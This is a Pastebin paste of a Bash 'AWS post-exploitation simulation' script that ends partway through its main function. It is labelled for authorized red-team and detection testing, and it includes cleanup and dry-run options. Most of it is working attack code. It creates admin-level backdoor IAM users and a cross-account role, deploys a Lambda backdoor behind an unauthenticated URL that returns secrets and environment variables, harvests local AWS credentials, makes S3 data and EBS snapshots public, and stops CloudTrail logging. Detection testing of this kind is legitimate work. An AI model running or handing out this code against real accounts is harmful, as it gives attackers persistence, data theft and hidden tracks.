Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- ###############################################################################
- # AWS Post-Exploitation Simulation Framework (Bash)
- # MITRE ATT&CK Tactics: Persistence, Privilege Escalation, Defense Evasion,
- # Credential Access, Discovery, Lateral Movement,
- # Collection, Exfiltration, Impact
- #
- # WARNING: This is a simulation tool for authorized security testing only.
- # Use only in controlled lab environments with explicit authorization.
- ###############################################################################
- set -o pipefail
- # Color codes for output
- RED='\033[0;31m'
- GREEN='\033[0;32m'
- YELLOW='\033[1;33m'
- BLUE='\033[0;34m'
- NC='\033[0m' # No Color
- # Global variables
- TIMESTAMP=$(date +%Y%m%d_%H%M%S)
- LOG_FILE="aws_postsim_${TIMESTAMP}.log"
- ARTIFACTS_FILE="aws_artifacts_${TIMESTAMP}.json"
- AWS_REGION="${AWS_REGION:-us-east-1}"
- ACCOUNT_ID=""
- DRY_RUN=false
- OPERATION=""
- # Initialize artifacts tracking
- declare -A ARTIFACTS
- ARTIFACTS[iam_users]=""
- ARTIFACTS[iam_roles]=""
- ARTIFACTS[iam_policies]=""
- ARTIFACTS[access_keys]=""
- ARTIFACTS[lambda_functions]=""
- ARTIFACTS[s3_buckets]=""
- ARTIFACTS[ec2_instances]=""
- ARTIFACTS[security_groups]=""
- ARTIFACTS[snapshots]=""
- ARTIFACTS[secrets]=""
- ###############################################################################
- # Utility Functions
- ###############################################################################
- log() {
- local level=$1
- shift
- local message="$@"
- local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
- local log_entry="[${timestamp}] [${level}] ${message}"
- case $level in
- ERROR) echo -e "${RED}${log_entry}${NC}" ;;
- SUCCESS) echo -e "${GREEN}${log_entry}${NC}" ;;
- WARNING) echo -e "${YELLOW}${log_entry}${NC}" ;;
- INFO) echo -e "${BLUE}${log_entry}${NC}" ;;
- *) echo "${log_entry}" ;;
- esac
- echo "${log_entry}" >> "${LOG_FILE}"
- }
- banner() {
- echo -e "${GREEN}"
- cat << "EOF"
- ╔═══════════════════════════════════════════════════════════╗
- ║ AWS Post-Exploitation Simulation Framework v1.0 ║
- ║ Red Team Training & Detection Validation Tool ║
- ║ MITRE ATT&CK Cloud Tactics Simulator ║
- ╚═══════════════════════════════════════════════════════════╝
- EOF
- echo -e "${NC}"
- }
- check_dependencies() {
- log INFO "Checking dependencies..."
- local deps=("aws" "jq" "curl")
- for dep in "${deps[@]}"; do
- if ! command -v "$dep" &> /dev/null; then
- log ERROR "Required dependency not found: $dep"
- log INFO "Install with: apt-get install awscli jq curl"
- exit 1
- fi
- done
- log SUCCESS "All dependencies found"
- }
- get_account_id() {
- log INFO "Retrieving AWS Account ID..."
- ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text 2>/dev/null)
- if [ -z "$ACCOUNT_ID" ]; then
- log ERROR "Failed to retrieve AWS Account ID. Check credentials."
- exit 1
- fi
- log SUCCESS "Account ID: ${ACCOUNT_ID}"
- }
- save_artifacts() {
- log INFO "Saving artifacts to ${ARTIFACTS_FILE}..."
- local json_output="{"
- json_output+="\"timestamp\":\"${TIMESTAMP}\","
- json_output+="\"account_id\":\"${ACCOUNT_ID}\","
- json_output+="\"region\":\"${AWS_REGION}\","
- for key in "${!ARTIFACTS[@]}"; do
- local value="${ARTIFACTS[$key]}"
- if [ -n "$value" ]; then
- json_output+="\"${key}\":["
- # Convert comma-separated values to JSON array
- IFS=',' read -ra items <<< "$value"
- for i in "${!items[@]}"; do
- json_output+="\"${items[$i]}\""
- if [ $i -lt $((${#items[@]} - 1)) ]; then
- json_output+=","
- fi
- done
- json_output+="],"
- else
- json_output+="\"${key}\":[],"
- fi
- done
- json_output="${json_output%,}}"
- echo "$json_output" | jq '.' > "${ARTIFACTS_FILE}"
- log SUCCESS "Artifacts saved to ${ARTIFACTS_FILE}"
- }
- ###############################################################################
- # T1098 - Account Manipulation (Persistence)
- ###############################################################################
- create_backdoor_user() {
- log INFO "=== T1098: Account Manipulation - Creating Backdoor User ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would create backdoor IAM user"
- return
- fi
- local username="system-backup-svc-${TIMESTAMP}"
- log INFO "Creating IAM user: ${username}"
- if aws iam create-user \
- --user-name "${username}" \
- --tags Key=Purpose,Value=BackupService Key=CreatedBy,Value=AutomatedProcess \
- 2>> "${LOG_FILE}"; then
- ARTIFACTS[iam_users]+="${username},"
- log SUCCESS "Created backdoor user: ${username}"
- # Create access key
- log INFO "Creating access key for ${username}..."
- local key_output=$(aws iam create-access-key --user-name "${username}" --output json)
- if [ $? -eq 0 ]; then
- local access_key_id=$(echo "$key_output" | jq -r '.AccessKey.AccessKeyId')
- local secret_key=$(echo "$key_output" | jq -r '.AccessKey.SecretAccessKey')
- ARTIFACTS[access_keys]+="${username}:${access_key_id},"
- # Save credentials
- local creds_file="backdoor_creds_${username}.json"
- cat > "${creds_file}" <<EOF
- {
- "Username": "${username}",
- "AccessKeyId": "${access_key_id}",
- "SecretAccessKey": "${secret_key}",
- "Region": "${AWS_REGION}",
- "AccountId": "${ACCOUNT_ID}"
- }
- EOF
- log SUCCESS "Credentials saved to: ${creds_file}"
- # Attach admin policy (T1098.001 - Additional Cloud Credentials)
- log INFO "Attaching AdministratorAccess policy..."
- if aws iam attach-user-policy \
- --user-name "${username}" \
- --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
- 2>> "${LOG_FILE}"; then
- log SUCCESS "Attached AdministratorAccess to ${username}"
- else
- log ERROR "Failed to attach policy"
- fi
- else
- log ERROR "Failed to create access key"
- fi
- else
- log ERROR "Failed to create backdoor user"
- fi
- }
- ###############################################################################
- # T1078.004 - Valid Accounts: Cloud Accounts (Persistence)
- ###############################################################################
- create_lambda_backdoor() {
- log INFO "=== T1078.004: Lambda Backdoor for Persistence ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would create Lambda backdoor"
- return
- fi
- local role_name="lambda-backup-exec-${TIMESTAMP}"
- local function_name="system-health-check-${TIMESTAMP}"
- # Create IAM role for Lambda
- log INFO "Creating Lambda execution role: ${role_name}"
- local trust_policy=$(cat <<EOF
- {
- "Version": "2012-10-17",
- "Statement": [{
- "Effect": "Allow",
- "Principal": {"Service": "lambda.amazonaws.com"},
- "Action": "sts:AssumeRole"
- }]
- }
- EOF
- )
- local role_arn=$(aws iam create-role \
- --role-name "${role_name}" \
- --assume-role-policy-document "${trust_policy}" \
- --description "Lambda execution role for system monitoring" \
- --query 'Role.Arn' \
- --output text 2>> "${LOG_FILE}")
- if [ $? -eq 0 ]; then
- ARTIFACTS[iam_roles]+="${role_name},"
- log SUCCESS "Created role: ${role_name}"
- # Attach policies
- aws iam attach-role-policy \
- --role-name "${role_name}" \
- --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
- 2>> "${LOG_FILE}"
- # Wait for role to propagate
- sleep 10
- # Create Lambda function with reverse shell payload
- log INFO "Creating Lambda function: ${function_name}"
- local lambda_code=$(cat <<'EOF'
- import json
- import boto3
- import os
- def lambda_handler(event, context):
- """
- Backdoor Lambda function for post-exploitation
- Can be triggered to execute arbitrary commands
- """
- # Command execution capability
- command = event.get('command', 'whoami')
- if command == 'exfil_env':
- # Exfiltrate environment variables and credentials
- return {
- 'statusCode': 200,
- 'body': json.dumps({
- 'environment': dict(os.environ),
- 'identity': boto3.client('sts').get_caller_identity()
- })
- }
- elif command == 'list_secrets':
- # List secrets in Secrets Manager
- sm = boto3.client('secretsmanager')
- secrets = sm.list_secrets()
- return {
- 'statusCode': 200,
- 'body': json.dumps(secrets)
- }
- elif command == 'enumerate_s3':
- # Enumerate S3 buckets
- s3 = boto3.client('s3')
- buckets = s3.list_buckets()
- return {
- 'statusCode': 200,
- 'body': json.dumps(buckets)
- }
- return {
- 'statusCode': 200,
- 'body': json.dumps('Backdoor active')
- }
- EOF
- )
- # Create deployment package
- local temp_dir=$(mktemp -d)
- echo "$lambda_code" > "${temp_dir}/lambda_function.py"
- cd "${temp_dir}"
- zip -q lambda.zip lambda_function.py
- # Deploy Lambda
- if aws lambda create-function \
- --function-name "${function_name}" \
- --runtime python3.11 \
- --role "${role_arn}" \
- --handler lambda_function.lambda_handler \
- --zip-file fileb://lambda.zip \
- --timeout 60 \
- --memory-size 256 \
- --description "System health monitoring function" \
- 2>> "${LOG_FILE}"; then
- ARTIFACTS[lambda_functions]+="${function_name},"
- log SUCCESS "Lambda backdoor deployed: ${function_name}"
- # Create URL for remote access (T1071.001 - Web Protocols)
- log INFO "Creating Function URL for remote access..."
- local func_url=$(aws lambda create-function-url-config \
- --function-name "${function_name}" \
- --auth-type NONE \
- --query 'FunctionUrl' \
- --output text 2>> "${LOG_FILE}")
- if [ $? -eq 0 ]; then
- log SUCCESS "Lambda URL: ${func_url}"
- echo "${func_url}" > "lambda_backdoor_url_${function_name}.txt"
- fi
- else
- log ERROR "Failed to create Lambda function"
- fi
- cd - > /dev/null
- rm -rf "${temp_dir}"
- else
- log ERROR "Failed to create Lambda role"
- fi
- }
- ###############################################################################
- # T1552.005 - Cloud Instance Metadata API (Credential Access)
- ###############################################################################
- enumerate_iam_permissions() {
- log INFO "=== T1552.005: Enumerating Current IAM Permissions ==="
- local identity=$(aws sts get-caller-identity --output json 2>/dev/null)
- if [ $? -eq 0 ]; then
- log SUCCESS "Current Identity:"
- echo "$identity" | jq '.' | tee -a "${LOG_FILE}"
- local user_arn=$(echo "$identity" | jq -r '.Arn')
- local username=$(echo "$user_arn" | awk -F'/' '{print $NF}')
- # Try to enumerate attached policies
- log INFO "Enumerating attached policies..."
- aws iam list-attached-user-policies --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}"
- # List access keys
- log INFO "Enumerating access keys..."
- aws iam list-access-keys --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}"
- else
- log ERROR "Failed to get identity information"
- fi
- }
- ###############################################################################
- # T1087.004 - Account Discovery: Cloud Account (Discovery)
- ###############################################################################
- discover_cloud_environment() {
- log INFO "=== T1087.004: Cloud Environment Discovery ==="
- log INFO "Discovering IAM Users..."
- aws iam list-users --output json 2>/dev/null | jq '.Users[] | {UserName, UserId, CreateDate, Arn}' | tee -a "${LOG_FILE}"
- log INFO "Discovering IAM Roles..."
- aws iam list-roles --output json 2>/dev/null | jq '.Roles[] | {RoleName, RoleId, CreateDate}' | head -20 | tee -a "${LOG_FILE}"
- log INFO "Discovering EC2 Instances..."
- aws ec2 describe-instances --output json 2>/dev/null | \
- jq '.Reservations[].Instances[] | {InstanceId, InstanceType, State: .State.Name, PrivateIpAddress, PublicIpAddress}' | \
- tee -a "${LOG_FILE}"
- log INFO "Discovering S3 Buckets..."
- aws s3api list-buckets --output json 2>/dev/null | jq '.Buckets[] | {Name, CreationDate}' | tee -a "${LOG_FILE}"
- log INFO "Discovering Lambda Functions..."
- aws lambda list-functions --output json 2>/dev/null | \
- jq '.Functions[] | {FunctionName, Runtime, Role, LastModified}' | \
- tee -a "${LOG_FILE}"
- log INFO "Discovering Security Groups..."
- aws ec2 describe-security-groups --output json 2>/dev/null | \
- jq '.SecurityGroups[] | {GroupId, GroupName, VpcId}' | \
- tee -a "${LOG_FILE}"
- }
- ###############################################################################
- # T1530 - Data from Cloud Storage Object (Collection)
- ###############################################################################
- exfiltrate_s3_data() {
- log INFO "=== T1530: S3 Data Exfiltration Simulation ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would enumerate and exfiltrate S3 data"
- return
- fi
- local exfil_dir="exfiltrated_data_${TIMESTAMP}"
- mkdir -p "${exfil_dir}"
- log INFO "Enumerating accessible S3 buckets..."
- local buckets=$(aws s3api list-buckets --query 'Buckets[].Name' --output text 2>/dev/null)
- if [ -z "$buckets" ]; then
- log WARNING "No S3 buckets found or access denied"
- return
- fi
- for bucket in $buckets; do
- log INFO "Attempting to list contents of: ${bucket}"
- # Try to list objects
- local objects=$(aws s3api list-objects-v2 \
- --bucket "${bucket}" \
- --max-items 5 \
- --output json 2>/dev/null)
- if [ $? -eq 0 ]; then
- log SUCCESS "Access granted to bucket: ${bucket}"
- echo "$objects" > "${exfil_dir}/${bucket}_contents.json"
- # Attempt to download first few files (limited simulation)
- echo "$objects" | jq -r '.Contents[]?.Key' | head -3 | while read -r key; do
- if [ -n "$key" ]; then
- log INFO "Downloading: s3://${bucket}/${key}"
- aws s3 cp "s3://${bucket}/${key}" "${exfil_dir}/${bucket}_$(basename ${key})" 2>> "${LOG_FILE}" || true
- fi
- done
- else
- log WARNING "Access denied to bucket: ${bucket}"
- fi
- done
- log SUCCESS "Exfiltration simulation complete. Data in: ${exfil_dir}"
- }
- ###############################################################################
- # T1078.004 - Create Exfiltration S3 Bucket (Exfiltration)
- ###############################################################################
- create_exfil_bucket() {
- log INFO "=== T1537: S3 Exfiltration Bucket Creation ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would create exfiltration S3 bucket"
- return
- fi
- local bucket_name="backup-logs-${ACCOUNT_ID}-${TIMESTAMP}"
- log INFO "Creating exfiltration bucket: ${bucket_name}"
- if aws s3api create-bucket \
- --bucket "${bucket_name}" \
- --region "${AWS_REGION}" \
- $([ "$AWS_REGION" != "us-east-1" ] && echo "--create-bucket-configuration LocationConstraint=${AWS_REGION}") \
- 2>> "${LOG_FILE}"; then
- ARTIFACTS[s3_buckets]+="${bucket_name},"
- log SUCCESS "Created exfiltration bucket: ${bucket_name}"
- # Make bucket publicly accessible (simulating data leak)
- log INFO "Configuring bucket for exfiltration..."
- # Disable block public access
- aws s3api put-public-access-block \
- --bucket "${bucket_name}" \
- --public-access-block-configuration \
- "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false" \
- 2>> "${LOG_FILE}"
- # Add bucket policy for public read
- local bucket_policy=$(cat <<EOF
- {
- "Version": "2012-10-17",
- "Statement": [{
- "Sid": "PublicReadGetObject",
- "Effect": "Allow",
- "Principal": "*",
- "Action": "s3:GetObject",
- "Resource": "arn:aws:s3:::${bucket_name}/*"
- }]
- }
- EOF
- )
- echo "$bucket_policy" | aws s3api put-bucket-policy \
- --bucket "${bucket_name}" \
- --policy file:///dev/stdin \
- 2>> "${LOG_FILE}"
- log SUCCESS "Exfiltration bucket configured: s3://${bucket_name}"
- echo "s3://${bucket_name}" > "exfil_bucket_${bucket_name}.txt"
- else
- log ERROR "Failed to create exfiltration bucket"
- fi
- }
- ###############################################################################
- # T1528 - Steal Application Access Token (Credential Access)
- ###############################################################################
- harvest_credentials() {
- log INFO "=== T1528: Credential Harvesting Simulation ==="
- local creds_file="harvested_credentials_${TIMESTAMP}.txt"
- log INFO "Harvesting AWS credentials from environment..."
- {
- echo "=== Environment Variables ==="
- env | grep -i "AWS\|SECRET\|KEY\|TOKEN\|PASS" || echo "No AWS credentials in environment"
- echo -e "\n=== AWS Config Files ==="
- if [ -f ~/.aws/credentials ]; then
- echo "Found: ~/.aws/credentials"
- cat ~/.aws/credentials 2>/dev/null || echo "Access denied"
- fi
- if [ -f ~/.aws/config ]; then
- echo "Found: ~/.aws/config"
- cat ~/.aws/config 2>/dev/null || echo "Access denied"
- fi
- echo -e "\n=== Current Session Token ==="
- aws sts get-session-token --output json 2>/dev/null || echo "Failed to get session token"
- } | tee "${creds_file}" >> "${LOG_FILE}"
- log SUCCESS "Credentials harvested to: ${creds_file}"
- }
- ###############################################################################
- # T1562.008 - Impair Defenses: Disable Cloud Logs (Defense Evasion)
- ###############################################################################
- disable_cloudtrail() {
- log INFO "=== T1562.008: CloudTrail Logging Disruption ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would disable CloudTrail logging"
- return
- fi
- log INFO "Enumerating CloudTrail trails..."
- local trails=$(aws cloudtrail describe-trails --query 'trailList[].Name' --output text 2>/dev/null)
- if [ -z "$trails" ]; then
- log WARNING "No CloudTrail trails found"
- return
- fi
- for trail in $trails; do
- log INFO "Attempting to stop trail: ${trail}"
- if aws cloudtrail stop-logging --name "${trail}" 2>> "${LOG_FILE}"; then
- log SUCCESS "Stopped logging for trail: ${trail}"
- ARTIFACTS[cloudtrail]+="${trail},"
- else
- log ERROR "Failed to stop trail: ${trail}"
- fi
- done
- }
- ###############################################################################
- # T1485 - Data Destruction (Impact)
- ###############################################################################
- create_snapshot_backdoor() {
- log INFO "=== T1537: EBS Snapshot for Data Exfiltration ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would create public EBS snapshots"
- return
- fi
- log INFO "Enumerating EBS volumes..."
- local volumes=$(aws ec2 describe-volumes \
- --query 'Volumes[?State==`in-use`].VolumeId' \
- --output text 2>/dev/null | head -1)
- if [ -z "$volumes" ]; then
- log WARNING "No active EBS volumes found"
- return
- fi
- for volume in $volumes; do
- log INFO "Creating snapshot of volume: ${volume}"
- local snapshot_id=$(aws ec2 create-snapshot \
- --volume-id "${volume}" \
- --description "Backup snapshot for disaster recovery" \
- --query 'SnapshotId' \
- --output text 2>> "${LOG_FILE}")
- if [ $? -eq 0 ]; then
- ARTIFACTS[snapshots]+="${snapshot_id},"
- log SUCCESS "Created snapshot: ${snapshot_id}"
- # Wait for snapshot to complete
- log INFO "Waiting for snapshot to complete..."
- aws ec2 wait snapshot-completed --snapshot-ids "${snapshot_id}" 2>> "${LOG_FILE}"
- # Make snapshot public (T1537 - Transfer Data to Cloud Account)
- log INFO "Making snapshot public for exfiltration..."
- if aws ec2 modify-snapshot-attribute \
- --snapshot-id "${snapshot_id}" \
- --attribute createVolumePermission \
- --operation-type add \
- --group-names all \
- 2>> "${LOG_FILE}"; then
- log SUCCESS "Snapshot ${snapshot_id} is now public"
- fi
- else
- log ERROR "Failed to create snapshot"
- fi
- done
- }
- ###############################################################################
- # T1053.007 - Scheduled Task/Job: Container Orchestration Job (Persistence)
- ###############################################################################
- create_secrets_backdoor() {
- log INFO "=== T1555.004: Secrets Manager Backdoor Creation ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would create backdoor secret"
- return
- fi
- local secret_name="prod/database/backup-credentials-${TIMESTAMP}"
- log INFO "Creating backdoor secret: ${secret_name}"
- local secret_value=$(cat <<EOF
- {
- "backdoor_user": "system-admin",
- "backdoor_key": "$(openssl rand -base64 32)",
- "c2_server": "attacker-c2.example.com",
- "exfil_endpoint": "https://exfil.example.com/upload"
- }
- EOF
- )
- if aws secretsmanager create-secret \
- --name "${secret_name}" \
- --description "Database backup credentials for automated recovery" \
- --secret-string "${secret_value}" \
- 2>> "${LOG_FILE}"; then
- ARTIFACTS[secrets]+="${secret_name},"
- log SUCCESS "Created backdoor secret: ${secret_name}"
- else
- log ERROR "Failed to create secret"
- fi
- }
- ###############################################################################
- # T1136.003 - Create Account: Cloud Account (Persistence)
- ###############################################################################
- create_assume_role_backdoor() {
- log INFO "=== T1136.003: Cross-Account Assume Role Backdoor ==="
- if [ "$DRY_RUN" = true ]; then
- log WARNING "[DRY RUN] Would create cross-account assume role"
- return
- fi
- local role_name="cross-account-backup-${TIMESTAMP}"
- # Create role that can be assumed from another account (attacker-controlled)
- local trust_policy=$(cat <<EOF
- {
- "Version": "2012-10-17",
- "Statement": [{
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::123456789012:root"
- },
- "Action": "sts:AssumeRole",
- "Condition": {}
- }]
- }
- EOF
- )
- log INFO "Creating assume role backdoor: ${role_name}"
- if aws iam create-role \
- --role-name "${role_name}" \
- --assume-role-policy-document "${trust_policy}" \
- --description "Cross-account backup and recovery role" \
- 2>> "${LOG_FILE}"; then
- ARTIFACTS[iam_roles]+="${role_name},"
- log SUCCESS "Created assume role backdoor: ${role_name}"
- # Attach admin policy
- aws iam attach-role-policy \
- --role-name "${role_name}" \
- --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
- 2>> "${LOG_FILE}"
- log SUCCESS "Attached AdministratorAccess to ${role_name}"
- log INFO "External account 123456789012 can now assume this role"
- else
- log ERROR "Failed to create assume role"
- fi
- }
- ###############################################################################
- # Cleanup Functions
- ###############################################################################
- cleanup_iam_users() {
- log INFO "Cleaning up IAM users..."
- if [ -z "${ARTIFACTS[iam_users]}" ]; then
- log INFO "No IAM users to clean up"
- return
- fi
- IFS=',' read -ra users <<< "${ARTIFACTS[iam_users]}"
- for user in "${users[@]}"; do
- if [ -n "$user" ]; then
- log INFO "Deleting IAM user: ${user}"
- # Delete access keys
- local keys=$(aws iam list-access-keys --user-name "${user}" --query 'AccessKeyMetadata[].AccessKeyId' --output text 2>/dev/null)
- for key in $keys; do
- aws iam delete-access-key --user-name "${user}" --access-key-id "${key}" 2>> "${LOG_FILE}"
- log INFO "Deleted access key: ${key}"
- done
- # Detach policies
- local policies=$(aws iam list-attached-user-policies --user-name "${user}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null)
- for policy in $policies; do
- aws iam detach-user-policy --user-name "${user}" --policy-arn "${policy}" 2>> "${LOG_FILE}"
- log INFO "Detached policy: ${policy}"
- done
- # Delete user
- if aws iam delete-user --user-name "${user}" 2>> "${LOG_FILE}"; then
- log SUCCESS "Deleted user: ${user}"
- else
- log ERROR "Failed to delete user: ${user}"
- fi
- fi
- done
- }
- cleanup_iam_roles() {
- log INFO "Cleaning up IAM roles..."
- if [ -z "${ARTIFACTS[iam_roles]}" ]; then
- log INFO "No IAM roles to clean up"
- return
- fi
- IFS=',' read -ra roles <<< "${ARTIFACTS[iam_roles]}"
- for role in "${roles[@]}"; do
- if [ -n "$role" ]; then
- log INFO "Deleting IAM role: ${role}"
- # Detach policies
- local policies=$(aws iam list-attached-role-policies --role-name "${role}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null)
- for policy in $policies; do
- aws iam detach-role-policy --role-name "${role}" --policy-arn "${policy}" 2>> "${LOG_FILE}"
- log INFO "Detached policy: ${policy}"
- done
- # Delete role
- if aws iam delete-role --role-name "${role}" 2>> "${LOG_FILE}"; then
- log SUCCESS "Deleted role: ${role}"
- else
- log ERROR "Failed to delete role: ${role}"
- fi
- fi
- done
- }
- cleanup_lambda_functions() {
- log INFO "Cleaning up Lambda functions..."
- if [ -z "${ARTIFACTS[lambda_functions]}" ]; then
- log INFO "No Lambda functions to clean up"
- return
- fi
- IFS=',' read -ra functions <<< "${ARTIFACTS[lambda_functions]}"
- for func in "${functions[@]}"; do
- if [ -n "$func" ]; then
- log INFO "Deleting Lambda function: ${func}"
- # Delete function URL config if exists
- aws lambda delete-function-url-config --function-name "${func}" 2>/dev/null
- # Delete function
- if aws lambda delete-function --function-name "${func}" 2>> "${LOG_FILE}"; then
- log SUCCESS "Deleted function: ${func}"
- else
- log ERROR "Failed to delete function: ${func}"
- fi
- fi
- done
- }
- cleanup_s3_buckets() {
- log INFO "Cleaning up S3 buckets..."
- if [ -z "${ARTIFACTS[s3_buckets]}" ]; then
- log INFO "No S3 buckets to clean up"
- return
- fi
- IFS=',' read -ra buckets <<< "${ARTIFACTS[s3_buckets]}"
- for bucket in "${buckets[@]}"; do
- if [ -n "$bucket" ]; then
- log INFO "Deleting S3 bucket: ${bucket}"
- # Empty bucket first
- aws s3 rm "s3://${bucket}" --recursive 2>> "${LOG_FILE}"
- # Delete bucket
- if aws s3api delete-bucket --bucket "${bucket}" 2>> "${LOG_FILE}"; then
- log SUCCESS "Deleted bucket: ${bucket}"
- else
- log ERROR "Failed to delete bucket: ${bucket}"
- fi
- fi
- done
- }
- cleanup_snapshots() {
- log INFO "Cleaning up EBS snapshots..."
- if [ -z "${ARTIFACTS[snapshots]}" ]; then
- log INFO "No snapshots to clean up"
- return
- fi
- IFS=',' read -ra snapshots <<< "${ARTIFACTS[snapshots]}"
- for snapshot in "${snapshots[@]}"; do
- if [ -n "$snapshot" ]; then
- log INFO "Deleting snapshot: ${snapshot}"
- if aws ec2 delete-snapshot --snapshot-id "${snapshot}" 2>> "${LOG_FILE}"; then
- log SUCCESS "Deleted snapshot: ${snapshot}"
- else
- log ERROR "Failed to delete snapshot: ${snapshot}"
- fi
- fi
- done
- }
- cleanup_secrets() {
- log INFO "Cleaning up Secrets Manager secrets..."
- if [ -z "${ARTIFACTS[secrets]}" ]; then
- log INFO "No secrets to clean up"
- return
- fi
- IFS=',' read -ra secrets <<< "${ARTIFACTS[secrets]}"
- for secret in "${secrets[@]}"; do
- if [ -n "$secret" ]; then
- log INFO "Deleting secret: ${secret}"
- if aws secretsmanager delete-secret \
- --secret-id "${secret}" \
- --force-delete-without-recovery \
- 2>> "${LOG_FILE}"; then
- log SUCCESS "Deleted secret: ${secret}"
- else
- log ERROR "Failed to delete secret: ${secret}"
- fi
- fi
- done
- }
- cleanup_cloudtrail() {
- log INFO "Re-enabling CloudTrail logging..."
- if [ -z "${ARTIFACTS[cloudtrail]}" ]; then
- log INFO "No CloudTrail trails to re-enable"
- return
- fi
- IFS=',' read -ra trails <<< "${ARTIFACTS[cloudtrail]}"
- for trail in "${trails[@]}"; do
- if [ -n "$trail" ]; then
- log INFO "Re-enabling trail: ${trail}"
- if aws cloudtrail start-logging --name "${trail}" 2>> "${LOG_FILE}"; then
- log SUCCESS "Re-enabled trail: ${trail}"
- else
- log ERROR "Failed to re-enable trail: ${trail}"
- fi
- fi
- done
- }
- cleanup_all() {
- log INFO "========================================="
- log INFO "Starting cleanup of all artifacts..."
- log INFO "========================================="
- # Load artifacts from file if it exists
- if [ -f "${ARTIFACTS_FILE}" ]; then
- log INFO "Loading artifacts from ${ARTIFACTS_FILE}"
- ARTIFACTS[iam_users]=$(jq -r '.iam_users[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
- ARTIFACTS[iam_roles]=$(jq -r '.iam_roles[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
- ARTIFACTS[lambda_functions]=$(jq -r '.lambda_functions[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
- ARTIFACTS[s3_buckets]=$(jq -r '.s3_buckets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
- ARTIFACTS[snapshots]=$(jq -r '.snapshots[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
- ARTIFACTS[secrets]=$(jq -r '.secrets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
- ARTIFACTS[cloudtrail]=$(jq -r '.cloudtrail[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
- fi
- cleanup_lambda_functions
- cleanup_iam_users
- cleanup_iam_roles
- cleanup_s3_buckets
- cleanup_snapshots
- cleanup_secrets
- cleanup_cloudtrail
- log SUCCESS "========================================="
- log SUCCESS "Cleanup complete!"
- log SUCCESS "========================================="
- }
- ###############################################################################
- # Main Exploitation Chain
- ###############################################################################
- run_exploitation() {
- log INFO "========================================="
- log INFO "Starting AWS Post-Exploitation Simulation"
- log INFO "========================================="
- # T1087.004 - Discovery
- discover_cloud_environment
- # T1552.005 - Credential Access
- enumerate_iam_permissions
- harvest_credentials
- # T1098 - Persistence via IAM User
- create_backdoor_user
- # T1078.004 - Persistence via Lambda
- create_lambda_backdoor
- # T1136.003 - Persistence via Cross-Account Role
- create_assume_role_backdoor
- # T1555.004 - Secrets Manager Backdoor
- create_secrets_backdoor
- # T1537 - Exfiltration via S3
- create_exfil_bucket
- exfiltrate_s3_data
- # T1537 - Exfiltration via Snapshots
- create_snapshot_backdoor
- # T1562.008 - Defense Evasion
- disable_cloudtrail
- save_artifacts
- log SUCCESS "========================================="
- log SUCCESS "Exploitation simulation complete!"
- log SUCCESS "Log file: ${LOG_FILE}"
- log SUCCESS "Artifacts: ${ARTIFACTS_FILE}"
- log SUCCESS "========================================="
- }
- ###############################################################################
- # Usage and Main
- ###############################################################################
- usage() {
- cat << EOF
- Usage: $0 [OPTIONS] --operation <exploit|cleanup>
- AWS Post-Exploitation Simulation Framework
- OPTIONS:
- -o, --operation <exploit|cleanup> Operation mode (required)
- -r, --region <region> AWS region (default: us-east-1)
- -p, --profile <profile> AWS CLI profile to use
- -d, --dry-run Simulate actions without execution
- -a, --artifacts <file> Artifacts file for cleanup
- -h, --help Show this help message
- OPERATIONS:
- exploit Run full post-exploitation simulation
- cleanup Clean up all created artifacts
- EXAMPLES:
- # Run exploitation simulation
- $0 --operation exploit --region us-west-2
- # Dry run to see what would be executed
- $0 --operation exploit --dry-run
- # Clean up all artifacts
- $0 --operation cleanup --artifacts aws_artifacts_20260131_120000.json
- # Use specific AWS profile
- $0 --operation exploit --profile red-team --region eu-west-1
- MITRE ATT&CK TECHNIQUES SIMULATED:
- T1098 - Account Manipulation
- T1078.004 - Valid Accounts: Cloud Accounts
- T1087.004 - Account Discovery: Cloud Account
- T1136.003 - Create Account: Cloud Account
- T1528 - Steal Application Access Token
- T1530 - Data from Cloud Storage Object
- T1537 - Transfer Data to Cloud Account
- T1552.005 - Unsecured Credentials: Cloud Instance Metadata API
- T1555.004 - Credentials from Password Stores: Cloud Secrets Management
- T1562.008 - Impair Defenses: Disable Cloud Logs
- EOF
- }
- main() {
- banner
- # Parse arguments
- while [[ $# -gt 0 ]]; do
- case $1 in
- -o|--operation)
- OPERATION="$2"
- shift 2
- ;;
- -r|--region)
- AWS_REGION="$2"
- export AWS_DEFAULT_REGION="$2"
- shift 2
- ;;
- -p|--profile)
- export AWS_PROFILE="$2"
- shift 2
- ;;
- -d|--dry-run)
- DRY_RUN=true
- shift
- ;;
- -a|--artifacts)
- ARTIFACTS_FILE="$2"
- shift 2
- ;;
- -h|--help)
- usage
- exit 0
- ;;
- *)
- log ERROR "Unknown option: $1"
- usage
- exit 1
- ;;
- esac
- done
- # Validate operation
